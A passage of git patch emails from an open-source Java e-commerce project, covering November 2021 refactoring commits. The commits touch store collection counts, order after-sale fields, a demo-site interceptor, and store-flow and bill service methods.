b/framework/src/main/java/cn/lili/modules/store/service/StoreService.java @@ -1,6 +1,7 @@ package cn.lili.modules.store.service; import cn.lili.common.vo.PageVO; +import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.entity.dto.*; import cn.lili.modules.store.entity.vos.StoreSearchParams; @@ -132,7 +133,7 @@ public interface StoreService extends IService { /** * 更新店铺收藏数量 * - * @param goodsId 店铺ID + * @param collectionDTO 收藏信息 */ - void updateStoreCollectionNum(String goodsId); + void updateStoreCollectionNum(CollectionDTO collectionDTO); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java index 81ddc417..065a2313 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java @@ -16,6 +16,7 @@ import cn.lili.modules.goods.service.GoodsService; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dos.StoreCollection; +import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.member.service.StoreCollectionService; import cn.lili.modules.page.service.PageDataService; @@ -319,15 +320,8 @@ public class StoreServiceImpl extends ServiceImpl implements } @Override - public void updateStoreCollectionNum(String goodsId) { - String storeId = goodsSkuService.getById(goodsId).getStoreId(); - //获取店铺收藏数量 - Integer collectionNum = storeCollectionService.count(new LambdaQueryWrapper() - .eq(StoreCollection::getStoreId, storeId)); - //修改店铺收藏数量 - this.update(new LambdaUpdateWrapper() - .set(Store::getCollectionNum, collectionNum) - .eq(Store::getId, storeId)); + public void updateStoreCollectionNum(CollectionDTO collectionDTO) { + baseMapper.updateCollection(collectionDTO.getId(), collectionDTO.getNum()); } /** From 30d53fa41ede6db4c531fb4763469520576d1dba Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 30 Nov 2021 15:03:17 +0800 Subject: [PATCH 023/145] =?UTF-8?q?=E5=8E=BB=E9=99=A4=E6=97=A0=E6=95=88?= =?UTF-8?q?=E7=9A=84=E5=BC=95=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../serviceimpl/GoodsCollectionServiceImpl.java | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java index 35ffb902..710b44d4 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/GoodsCollectionServiceImpl.java @@ -34,19 +34,8 @@ import java.util.Optional; */ @Service @Transactional(rollbackFor = Exception.class) - public class GoodsCollectionServiceImpl extends ServiceImpl implements GoodsCollectionService { - /** - * rocketMq - */ - @Autowired - private RocketMQTemplate rocketMQTemplate; - /** - * rocketMq配置 - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; @Override public IPage goodsCollection(PageVO pageVo) { From 3e10c891abf3e4d0026c6b7bda8903faea06a330 Mon Sep 17 00:00:00 2001 From: fengtianyangyang Date: Tue, 30 Nov 2021 15:19:42 +0800 Subject: [PATCH 024/145] =?UTF-8?q?'=E5=8E=BB=E9=99=A4=E5=A4=84=E7=90=864.?= =?UTF-8?q?24=E7=89=88=E6=9C=AC=E4=B9=8B=E5=89=8D=E8=AE=A2=E5=8D=95?= =?UTF-8?q?=E5=8A=9F=E8=83=BD'?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DB/version4.2.3to4.2.4.sql | 3 +- .../serviceimpl/AfterSaleServiceImpl.java | 47 ++----------------- .../order/order/entity/dos/OrderItem.java | 4 -- .../enums/IdentificationStatusEnum.java | 25 ---------- 4 files changed, 4 insertions(+), 75 deletions(-) delete mode 100644 framework/src/main/java/cn/lili/modules/order/order/entity/enums/IdentificationStatusEnum.java diff --git a/DB/version4.2.3to4.2.4.sql b/DB/version4.2.3to4.2.4.sql index d9a266fc..78764222 100644 --- a/DB/version4.2.3to4.2.4.sql +++ b/DB/version4.2.3to4.2.4.sql @@ -1,3 +1,2 @@ /** 新增已退货数量 **/ -ALTER TABLE li_order_item ADD return_goods_number int DEFAULT 0 COMMENT '退货数量 '; -ALTER TABLE li_order_item ADD identification_status varchar(255) COMMENT '标识是否被4.2.4版本处理过的订单'; \ No newline at end of file +ALTER TABLE li_order_item ADD return_goods_number int DEFAULT 0 COMMENT '退货数量 '; \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java index 4e6f3180..46bdc735 100644 --- a/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java @@ -464,7 +464,7 @@ public class AfterSaleServiceImpl extends ServiceImpl orderItemList = orderItemService.list(new LambdaQueryWrapper() - .isNull(OrderItem::getIdentificationStatus).or() - .eq(OrderItem::getIdentificationStatus, IdentificationStatusEnum.NOT_HANDLE.name())); - - //不为空时对订单数据进行部分售后逻辑处理 - if (!orderItemList.isEmpty()) { - - //遍历订单查询每一个订单下的售后记录 - orderItemList.forEach(orderItem -> { - - //订单状态不能为新订单,已失效订单或未申请订单才可以去修改订单信息 - if (!orderItem.getAfterSaleStatus().equals(OrderItemAfterSaleStatusEnum.NEW.name()) - && !orderItem.getAfterSaleStatus().equals(OrderItemAfterSaleStatusEnum.EXPIRED.name()) - && !orderItem.getAfterSaleStatus().equals(OrderItemAfterSaleStatusEnum.NOT_APPLIED.name())) { - - //查询订单下的售后记录 - List afterSaleList = this.list(new LambdaQueryWrapper() - .eq(AfterSale::getOrderSn, orderItem.getOrderSn()) - .eq(AfterSale::getGoodsId, orderItem.getGoodsId())); - - //获取售后商品数量及已完成售后商品数量修改orderItem订单 - this.updateOrderItemGoodsNumber(orderItem, afterSaleList); - } - - //修改orderItem订单 - this.updateOrderItem(orderItem); - }); - - } - - } - /** * 功能描述: 获取售后商品数量及已完成售后商品数量修改orderItem订单 * @@ -711,8 +671,7 @@ public class AfterSaleServiceImpl extends ServiceImpl() .eq(OrderItem::getSn, orderItem.getSn()) .set(OrderItem::getAfterSaleStatus, orderItem.getAfterSaleStatus()) - .set(OrderItem::getReturnGoodsNumber,orderItem.getReturnGoodsNumber()) - .set(OrderItem::getIdentificationStatus, IdentificationStatusEnum.ALREADY_NOT_HANDLE.name())); + .set(OrderItem::getReturnGoodsNumber,orderItem.getReturnGoodsNumber())); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/OrderItem.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/OrderItem.java index b711a8a7..ae8c270f 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/OrderItem.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/OrderItem.java @@ -9,7 +9,6 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.order.order.entity.enums.CommentStatusEnum; -import cn.lili.modules.order.order.entity.enums.IdentificationStatusEnum; import cn.lili.modules.order.order.entity.enums.OrderComplaintStatusEnum; import cn.lili.modules.order.order.entity.enums.OrderItemAfterSaleStatusEnum; import cn.lili.modules.promotion.entity.vos.PromotionSkuVO; @@ -116,8 +115,6 @@ public class OrderItem extends BaseEntity { @ApiModelProperty(value = "退货商品数量") private Integer returnGoodsNumber; - @ApiModelProperty(value = "标识是否被4.2.4版本处理过的订单") - private String identificationStatus; public OrderItem(CartSkuVO cartSkuVO, CartVO cartVO, TradeDTO tradeDTO) { String oldId = this.getId(); @@ -132,7 +129,6 @@ public class OrderItem extends BaseEntity { this.setAfterSaleStatus(OrderItemAfterSaleStatusEnum.NEW.name()); this.setCommentStatus(CommentStatusEnum.NEW.name()); this.setComplainStatus(OrderComplaintStatusEnum.NEW.name()); - this.setIdentificationStatus(IdentificationStatusEnum.ALREADY_NOT_HANDLE.name()); this.setPriceDetailDTO(cartSkuVO.getPriceDetailDTO()); this.setOrderSn(cartVO.getSn()); this.setTradeSn(tradeDTO.getSn()); diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/enums/IdentificationStatusEnum.java b/framework/src/main/java/cn/lili/modules/order/order/entity/enums/IdentificationStatusEnum.java deleted file mode 100644 index 7993eeb1..00000000 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/enums/IdentificationStatusEnum.java +++ /dev/null @@ -1,25 +0,0 @@ -package cn.lili.modules.order.order.entity.enums; - -/** - * 标识是否被4.2.4版本处理过的订单 - * @author: ftyy - * @Date: 2021-11-19 18:29 - */ -public enum IdentificationStatusEnum { - /** - * 订单处理状态 - **/ - - NOT_HANDLE("未处理过的订单"), - ALREADY_NOT_HANDLE("已处理过的订单"); - - private final String description; - - IdentificationStatusEnum(String description) { - this.description = description; - } - - public String description() { - return this.description; - } -} From 323bc6b775f22688a92eca74bf1f801fa2206c2a Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 30 Nov 2021 16:53:37 +0800 Subject: [PATCH 025/145] =?UTF-8?q?=E5=B0=86=E9=99=90=E5=88=B6=E9=A1=B9?= =?UTF-8?q?=E6=8F=90=E9=AB=98=E5=88=B0=E6=A1=86=E6=9E=B6common=E6=A8=A1?= =?UTF-8?q?=E5=9D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/common/aop/annotation/DemoSite.java | 18 ++++++++++ .../aop/interceptor/DemoInterceptor.java | 34 +++++++++++++++++++ 2 files changed, 52 insertions(+) create mode 100644 framework/src/main/java/cn/lili/common/aop/annotation/DemoSite.java create mode 100644 framework/src/main/java/cn/lili/common/aop/interceptor/DemoInterceptor.java diff --git a/framework/src/main/java/cn/lili/common/aop/annotation/DemoSite.java b/framework/src/main/java/cn/lili/common/aop/annotation/DemoSite.java new file mode 100644 index 00000000..48facbd3 --- /dev/null +++ b/framework/src/main/java/cn/lili/common/aop/annotation/DemoSite.java @@ -0,0 +1,18 @@ +package cn.lili.common.aop.annotation; + +import java.lang.annotation.*; + +/** + * 演示站点注解 + * + * @author Bulbasaur + * @since 2021/7/9 1:40 上午 + */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +@Inherited +public @interface DemoSite { + + +} diff --git a/framework/src/main/java/cn/lili/common/aop/interceptor/DemoInterceptor.java b/framework/src/main/java/cn/lili/common/aop/interceptor/DemoInterceptor.java new file mode 100644 index 00000000..fad76b48 --- /dev/null +++ b/framework/src/main/java/cn/lili/common/aop/interceptor/DemoInterceptor.java @@ -0,0 +1,34 @@ +package cn.lili.common.aop.interceptor; + +import cn.lili.common.enums.ResultCode; +import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.SystemSettingProperties; +import cn.lili.common.aop.annotation.DemoSite; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +/** + * 演示站点拦截 + * DemoInterceptor + * + * @author Chopper + * @version v1.0 + * 2021-05-12 17:55 + */ +@Component +@Aspect +public class DemoInterceptor { + + @Autowired + private SystemSettingProperties systemSettingProperties; + + @Before("@annotation(demoSite)") + public void doAfter(DemoSite demoSite) { + if (systemSettingProperties.getIsDemoSite()) { + throw new ServiceException(ResultCode.DEMO_SITE_EXCEPTION); + } + } + +} From bea807c7b489cee8862af835c21d2218736d0121 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 30 Nov 2021 16:55:58 +0800 Subject: [PATCH 026/145] =?UTF-8?q?demosite=E7=9B=B8=E5=85=B3=E8=A1=A5?= =?UTF-8?q?=E5=85=85=E6=8F=90=E4=BA=A4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/controller/other/PageDataManagerController.java | 3 +-- .../cn/lili/controller/other/VerificationSourceController.java | 2 +- .../lili/controller/passport/AdminUserManagerController.java | 2 +- .../cn/lili/controller/permission/MenuManagerController.java | 2 +- .../cn/lili/controller/setting/RegionManagerController.java | 2 +- .../cn/lili/controller/setting/SettingManagerController.java | 2 +- .../java/cn/lili/controller/store/StoreManagerController.java | 2 +- 7 files changed, 7 insertions(+), 8 deletions(-) diff --git a/manager-api/src/main/java/cn/lili/controller/other/PageDataManagerController.java b/manager-api/src/main/java/cn/lili/controller/other/PageDataManagerController.java index 0af0c47a..dc8e7596 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/PageDataManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/other/PageDataManagerController.java @@ -3,12 +3,11 @@ package cn.lili.controller.other; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.system.aspect.annotation.DemoSite; +import cn.lili.common.aop.annotation.DemoSite; import cn.lili.modules.page.entity.dos.PageData; import cn.lili.modules.page.entity.dto.PageDataDTO; import cn.lili.modules.page.entity.vos.PageDataListVO; import cn.lili.modules.page.service.PageDataService; -import cn.lili.modules.system.aspect.annotation.DemoSite; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; diff --git a/manager-api/src/main/java/cn/lili/controller/other/VerificationSourceController.java b/manager-api/src/main/java/cn/lili/controller/other/VerificationSourceController.java index 15ea88f4..2748ba2d 100644 --- a/manager-api/src/main/java/cn/lili/controller/other/VerificationSourceController.java +++ b/manager-api/src/main/java/cn/lili/controller/other/VerificationSourceController.java @@ -4,7 +4,7 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.common.vo.SearchVO; -import cn.lili.modules.system.aspect.annotation.DemoSite; +import cn.lili.common.aop.annotation.DemoSite; import cn.lili.modules.verification.entity.dos.VerificationSource; import cn.lili.modules.verification.service.VerificationSourceService; import cn.lili.mybatis.util.PageUtil; diff --git a/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java b/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java index 1836f0e9..bfd1dbcb 100644 --- a/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/passport/AdminUserManagerController.java @@ -17,7 +17,7 @@ import cn.lili.modules.permission.entity.dto.AdminUserDTO; import cn.lili.modules.permission.entity.vo.AdminUserVO; import cn.lili.modules.permission.service.AdminUserService; import cn.lili.modules.permission.service.DepartmentService; -import cn.lili.modules.system.aspect.annotation.DemoSite; +import cn.lili.common.aop.annotation.DemoSite; import cn.lili.modules.verification.entity.enums.VerificationEnums; import cn.lili.modules.verification.service.VerificationService; import cn.lili.mybatis.util.PageUtil; diff --git a/manager-api/src/main/java/cn/lili/controller/permission/MenuManagerController.java b/manager-api/src/main/java/cn/lili/controller/permission/MenuManagerController.java index 5169eb44..399f23c5 100644 --- a/manager-api/src/main/java/cn/lili/controller/permission/MenuManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/permission/MenuManagerController.java @@ -6,7 +6,7 @@ import cn.lili.modules.permission.entity.dos.Menu; import cn.lili.modules.permission.entity.dto.MenuSearchParams; import cn.lili.modules.permission.entity.vo.MenuVO; import cn.lili.modules.permission.service.MenuService; -import cn.lili.modules.system.aspect.annotation.DemoSite; +import cn.lili.common.aop.annotation.DemoSite; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; import io.swagger.annotations.ApiOperation; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/RegionManagerController.java b/manager-api/src/main/java/cn/lili/controller/setting/RegionManagerController.java index 558b6e2c..e33ef609 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/RegionManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/setting/RegionManagerController.java @@ -2,7 +2,7 @@ package cn.lili.controller.setting; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.system.aspect.annotation.DemoSite; +import cn.lili.common.aop.annotation.DemoSite; import cn.lili.modules.system.service.RegionService; import cn.lili.modules.system.entity.dos.Region; import io.swagger.annotations.Api; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/SettingManagerController.java b/manager-api/src/main/java/cn/lili/controller/setting/SettingManagerController.java index 5d3aa8e1..f901fca5 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/SettingManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/setting/SettingManagerController.java @@ -5,7 +5,7 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultUtil; import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.system.aspect.annotation.DemoSite; +import cn.lili.common.aop.annotation.DemoSite; import cn.lili.modules.system.entity.dos.Setting; import cn.lili.modules.system.entity.dto.*; import cn.lili.modules.system.entity.dto.connect.QQConnectSetting; diff --git a/manager-api/src/main/java/cn/lili/controller/store/StoreManagerController.java b/manager-api/src/main/java/cn/lili/controller/store/StoreManagerController.java index e73b4fd9..c964b9cc 100644 --- a/manager-api/src/main/java/cn/lili/controller/store/StoreManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/store/StoreManagerController.java @@ -12,7 +12,7 @@ import cn.lili.modules.store.entity.vos.StoreSearchParams; import cn.lili.modules.store.entity.vos.StoreVO; import cn.lili.modules.store.service.StoreDetailService; import cn.lili.modules.store.service.StoreService; -import cn.lili.modules.system.aspect.annotation.DemoSite; +import cn.lili.common.aop.annotation.DemoSite; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; From 6184ba9b8224051578f9a3f8a74057c82602f2fe Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 30 Nov 2021 16:57:19 +0800 Subject: [PATCH 027/145] =?UTF-8?q?=E5=BA=97=E9=93=BA=E6=B5=81=E6=B0=B4?= =?UTF-8?q?=E7=9B=B8=E5=85=B3=E4=BB=A3=E7=A0=81=E4=BC=98=E5=8C=96=EF=BC=8C?= =?UTF-8?q?=E6=B5=81=E6=B0=B4=E4=B8=8E=E7=BB=93=E7=AE=97=E5=8D=95=E4=B8=9A?= =?UTF-8?q?=E5=8A=A1=E9=9A=94=E7=A6=BB=E3=80=82=20=E7=9B=B8=E5=85=B3?= =?UTF-8?q?=E6=96=B9=E6=B3=95=E8=BF=9B=E8=A1=8C=E4=BC=98=E5=8C=96=EF=BC=8C?= =?UTF-8?q?=E8=BF=81=E7=A7=BB=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../MemberMessageBuyerController.java | 2 +- .../order/order/service/StoreFlowService.java | 21 +++++++++ .../serviceimpl/StoreFlowServiceImpl.java | 19 ++++++++ .../entity/vos/StoreFlowRefundDownloadVO.java | 43 +------------------ .../modules/store/service/BillService.java | 19 -------- .../store/serviceimpl/BillServiceImpl.java | 22 +++------- .../store/serviceimpl/StoreServiceImpl.java | 12 ------ .../system/aspect/annotation/DemoSite.java | 18 -------- .../aspect/interceptor/DemoInterceptor.java | 34 --------------- .../member/MemberManagerController.java | 2 +- .../MemberMessageManagerController.java | 2 +- .../MemberNoticeLogManagerController.java | 2 +- .../MemberNoticeManagerController.java | 2 +- .../MemberNoticeSenterManagerController.java | 2 +- .../store/BillManagerController.java | 6 ++- .../StoreMessageController.java | 2 +- .../controller/trade/BillStoreController.java | 12 ++++-- 17 files changed, 67 insertions(+), 153 deletions(-) rename buyer-api/src/main/java/cn/lili/controller/{system => message}/MemberMessageBuyerController.java (98%) delete mode 100644 framework/src/main/java/cn/lili/modules/system/aspect/annotation/DemoSite.java delete mode 100644 framework/src/main/java/cn/lili/modules/system/aspect/interceptor/DemoInterceptor.java rename manager-api/src/main/java/cn/lili/controller/{member => message}/MemberMessageManagerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{member => message}/MemberNoticeLogManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{member => message}/MemberNoticeManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{member => message}/MemberNoticeSenterManagerController.java (98%) rename seller-api/src/main/java/cn/lili/controller/{settings => message}/StoreMessageController.java (99%) diff --git a/buyer-api/src/main/java/cn/lili/controller/system/MemberMessageBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/message/MemberMessageBuyerController.java similarity index 98% rename from buyer-api/src/main/java/cn/lili/controller/system/MemberMessageBuyerController.java rename to buyer-api/src/main/java/cn/lili/controller/message/MemberMessageBuyerController.java index 0fc906f1..43c80b24 100644 --- a/buyer-api/src/main/java/cn/lili/controller/system/MemberMessageBuyerController.java +++ b/buyer-api/src/main/java/cn/lili/controller/message/MemberMessageBuyerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.system; +package cn.lili.controller.message; import cn.lili.common.enums.ResultUtil; import cn.lili.common.security.context.UserContext; diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java index c86a83e8..4c8a080e 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/StoreFlowService.java @@ -66,4 +66,25 @@ public interface StoreFlowService extends IService { */ List getStoreFlowRefundDownloadVO(Wrapper queryWrapper); + + /** + * 根据结算单ID获取商家流水 + * + * @param pageVO 分页 + * @param id 结算单ID + * @param type 类型 + * @return 商家流水 + */ + IPage getStoreFlow(String id, String type, PageVO pageVO); + + /** + * 根据结算单ID获取商家流水 + * + * @param pageVO 分页 + * @param id 结算单ID + * @return 商家流水 + */ + IPage getDistributionFlow(String id, PageVO pageVO); + + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java index 5fa1261d..930873cd 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/StoreFlowServiceImpl.java @@ -15,8 +15,10 @@ import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.StoreFlowService; import cn.lili.modules.payment.entity.RefundLog; import cn.lili.modules.payment.service.RefundLogService; +import cn.lili.modules.store.entity.dos.Bill; import cn.lili.modules.store.entity.vos.StoreFlowPayDownloadVO; import cn.lili.modules.store.entity.vos.StoreFlowRefundDownloadVO; +import cn.lili.modules.store.service.BillService; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; @@ -59,6 +61,9 @@ public class StoreFlowServiceImpl extends ServiceImpl getStoreFlowRefundDownloadVO(Wrapper queryWrapper) { return baseMapper.getStoreFlowRefundDownloadVO(queryWrapper); } + + + @Override + public IPage getStoreFlow(String id, String type, PageVO pageVO) { + Bill bill = billService.getById(id); + return this.getStoreFlow(bill.getStoreId(), type, false, pageVO, bill.getStartTime(), bill.getCreateTime()); + } + + @Override + public IPage getDistributionFlow(String id, PageVO pageVO) { + Bill bill = billService.getById(id); + return this.getStoreFlow(bill.getStoreId(), null, true, pageVO, bill.getStartTime(), bill.getCreateTime()); + } + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreFlowRefundDownloadVO.java b/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreFlowRefundDownloadVO.java index 303745c1..15109292 100644 --- a/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreFlowRefundDownloadVO.java +++ b/framework/src/main/java/cn/lili/modules/store/entity/vos/StoreFlowRefundDownloadVO.java @@ -12,53 +12,14 @@ import java.util.Date; /** * 店铺流水下载 + * * @author Bulbasaur * @date: 2021/8/13 4:14 下午 - * */ @Data -public class StoreFlowRefundDownloadVO { - - @CreatedDate - @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") - @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") - @TableField(fill = FieldFill.INSERT) - @ApiModelProperty(value = "创建时间", hidden = true) - private Date createTime; - - @ApiModelProperty(value = "订单sn") - private String orderSn; +public class StoreFlowRefundDownloadVO extends StoreFlowPayDownloadVO { @ApiModelProperty(value = "售后SN") private String refundSn; - @ApiModelProperty(value = "店铺名称 ") - private String storeName; - - @ApiModelProperty(value = "商品名称") - private String goodsName; - - @ApiModelProperty(value = "销售量") - private Integer num; - - @ApiModelProperty(value = "流水金额") - private Double finalPrice; - - @ApiModelProperty(value = "平台收取交易佣金") - private Double commissionPrice; - - @ApiModelProperty(value = "平台优惠券 使用金额") - private Double siteCouponPrice; - - @ApiModelProperty(value = "单品分销返现支出") - private Double distributionRebate; - - @ApiModelProperty(value = "积分活动商品结算价格") - private Double pointSettlementPrice; - - @ApiModelProperty(value = "砍价活动商品结算价格") - private Double kanjiaSettlementPrice; - - @ApiModelProperty(value = "最终结算金额") - private Double billPrice; } diff --git a/framework/src/main/java/cn/lili/modules/store/service/BillService.java b/framework/src/main/java/cn/lili/modules/store/service/BillService.java index 19b99429..c640df26 100644 --- a/framework/src/main/java/cn/lili/modules/store/service/BillService.java +++ b/framework/src/main/java/cn/lili/modules/store/service/BillService.java @@ -42,25 +42,6 @@ public interface BillService extends IService { */ void immediatelyBill(String storeId, Long endTime); - /** - * 根据结算单ID获取商家流水 - * - * @param pageVO 分页 - * @param id 结算单ID - * @param type 类型 - * @return 商家流水 - */ - IPage getStoreFlow(String id, String type, PageVO pageVO); - - /** - * 根据结算单ID获取商家流水 - * - * @param pageVO 分页 - * @param id 结算单ID - * @return 商家流水 - */ - IPage getDistributionFlow(String id, PageVO pageVO); - /** * 获取结算单分页 * diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java index 10d05ae2..3b476fda 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/BillServiceImpl.java @@ -161,18 +161,6 @@ public class BillServiceImpl extends ServiceImpl implements Bi // this.createBill(storeId, startTime, endTime); } - @Override - public IPage getStoreFlow(String id, String type, PageVO pageVO) { - Bill bill = this.getById(id); - return storeFlowService.getStoreFlow(bill.getStoreId(), type, false, pageVO, bill.getStartTime(), bill.getCreateTime()); - } - - @Override - public IPage getDistributionFlow(String id, PageVO pageVO) { - Bill bill = this.getById(id); - return storeFlowService.getStoreFlow(bill.getStoreId(), null, true, pageVO, bill.getStartTime(), bill.getCreateTime()); - } - @Override public IPage billPage(BillSearchParams billSearchParams) { QueryWrapper queryWrapper = billSearchParams.queryWrapper(); @@ -282,11 +270,11 @@ public class BillServiceImpl extends ServiceImpl implements Bi writer.setColumnWidth(12, 20); //存放入账列表 - LambdaQueryWrapper storeFlowlambdaQueryWrapper = Wrappers.lambdaQuery(); - storeFlowlambdaQueryWrapper.eq(StoreFlow::getStoreId, bill.getStoreId()); - storeFlowlambdaQueryWrapper.between(StoreFlow::getCreateTime, bill.getStartTime(), bill.getCreateTime()); - storeFlowlambdaQueryWrapper.eq(StoreFlow::getFlowType, FlowTypeEnum.PAY.name()); - List storeFlowRefundDownloadVOList = storeFlowService.getStoreFlowRefundDownloadVO(storeFlowlambdaQueryWrapper); + LambdaQueryWrapper storeFlowLambdaQueryWrapper = Wrappers.lambdaQuery(); + storeFlowLambdaQueryWrapper.eq(StoreFlow::getStoreId, bill.getStoreId()); + storeFlowLambdaQueryWrapper.between(StoreFlow::getCreateTime, bill.getStartTime(), bill.getCreateTime()); + storeFlowLambdaQueryWrapper.eq(StoreFlow::getFlowType, FlowTypeEnum.PAY.name()); + List storeFlowRefundDownloadVOList = storeFlowService.getStoreFlowRefundDownloadVO(storeFlowLambdaQueryWrapper); writer.write(storeFlowRefundDownloadVOList, true); ServletOutputStream out = null; diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java index 065a2313..4431deb0 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreServiceImpl.java @@ -15,11 +15,9 @@ import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.service.GoodsService; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.dos.Member; -import cn.lili.modules.member.entity.dos.StoreCollection; import cn.lili.modules.member.entity.dto.CollectionDTO; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.member.service.StoreCollectionService; -import cn.lili.modules.page.service.PageDataService; import cn.lili.modules.store.entity.dos.Store; import cn.lili.modules.store.entity.dos.StoreDetail; import cn.lili.modules.store.entity.dto.*; @@ -63,21 +61,11 @@ public class StoreServiceImpl extends 